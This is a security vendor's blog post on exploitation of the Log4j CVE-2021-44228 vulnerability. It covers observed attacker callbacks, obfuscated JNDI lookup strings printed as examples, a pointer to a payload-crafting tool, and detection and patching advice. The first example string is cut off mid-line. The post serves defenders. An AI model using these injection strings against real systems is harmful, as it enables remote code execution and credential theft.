Update: December 13, 2021
Threat Actors Exploiting Log4j Zero-Day Vulnerability
As we’ve continued to monitor the situation, Vectra has observed multiple attempts from threat actors to exploit systems. To begin with, these were basic call backs with the initial exploit attempt coming from TOR nodes — these mostly pointed back to “bingsearchlib[.]com” with the exploit being passed into the User Agent or the URI of the request.
Since the initial wave of exploit attempts, there have been many changes in tactics by the threat actors using this vulnerability. Notably, there has been a shift in the commands being used, and the threat actors started obfuscating their requests. This originally included stuffing the User Agent or URI with a base64 string, which when decoded by the vulnerable system caused the host to download a malicious dropper from attacker infrastructure. Following this, the attackers started obfuscating the JDNI string itself, by taking advantage of other translation features of the JDNI process. Examples of this are:
${jndi:${lower:l}${lower:d}a${lower:p}://world80${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//${jndi:dns://All of these achieve the same objective, to download a malicious class file and drop it onto the target system, or to leak credentials of cloud-based systems.
Stay tuned to the Vectra Blog for further developments.
--
Original Post: December 10, 2021
Initial Discovery of Log4j Zero-Day Vulnerability
On 10th December 2021, a new 0day was discovered in the log4j application. This 0day, now tracked as CVE-2021-44228, takes advantage of the parsing of LDAP logs, and the parsing of the LDAP url in the jndi engine. This engine will automatically look up variables in logs to improve the output of the logs. For example “Logging from ${java:vm}” would output as "Logging from Oracle JVM”. This however, leads to a problem when parsing directory services using this method. When parsing these variables, if there is a dot “.” in the string, the log4j server will look up a remote address and parse the response with the jndi engine.
By using a tool such as https://github.com/mbechler/marshalsec, an attacker can craft a malicious payload, and direct the log4j server to this java payload, which will then be run in engine leading to the RCE. For more details, refer to the blogs and GitHub repositories in the references.
Log4j is a very widely used logging solution for Java-based applications, web apps, and modules. Applications from Steam, to Minecraft have been shown as vulnerable, but also multiple ToR nodes have also been attacked .
One of the biggest problems that users face with this vulnerability, is that the attack surface is incredibly large. As shown by the pictures in this GitHub repository.
It is worth noting as well, it is not only LDAP that is vulnerable, but other directory service parsers including Remote Method Invocation (RMI) and, Common Object Request Broker Architecture (CORBA).
The recommendation from the developers is to upgrade the log4j systems to log4j 2.15.0, available on Maven Central.
If you are using a log4j enabled system, you should refer to the developer for updates to their systems and assume that those hosts which run log4j are compromised.
Detecting Log4j Zero-Day Exploits (CVE-2021-44228)
One of the biggest problems with this vulnerability, is that the initial vector is difficult to detect. It presents as a string in a log, you could look at the raw input to the log4j server, and alert on all LDAP external connections. Alternatively, you could look for external connections from log servers to Java class files.
If you have access to metadata, using tools such as the Vectra AI platform for example, one telltale sign of attempts to compromise servers would be to search for the following patterns in text fields such as User-Agent: /\$\{jndi:.*/
This will find attempts to compromise the servers but won’t confirm if there has been a compromise. The assumption is that at least one server in an estate will be compromised, and Vectra can confirm that scan attempts have been seen across multiple sources.
In order to find hosts that may have been compromised, it may be possible to look at hosts that are downloading JAVA, Jar or Class files. However, if a host has been compromised, the best way to detect that, is to observe a host and look for suspicious behavior, especially since the attack surface is huge and the initial vector is hard to detect given the pervasive use of log4j.
The Vectra AI platform highlights hosts with suspicious behavior by observing network traffic, and using machine learning and AI to classify the traffic. We would expect to see hosts which have been compromised to have Command and Control type detections, lateral movement detections, or local application or service accounts being used across the estate. If an edge device is compromised, there may also be more reconnaissance activity from those devices inside the DMZ.
It is also worth noting that those systems which run log4j may be deep within the network. For example, part of an Elastic cluster, and if that’s the case, those hosts will need to be identified as well.
To this end, it would be recommended to find those hosts on an estate which potentially run log4j (Apache Tomcat, Apache Struts, etc.) and move them into a group, or tag them, so it will be more convenient to monitor and follow up, given the above detection profile and search terms.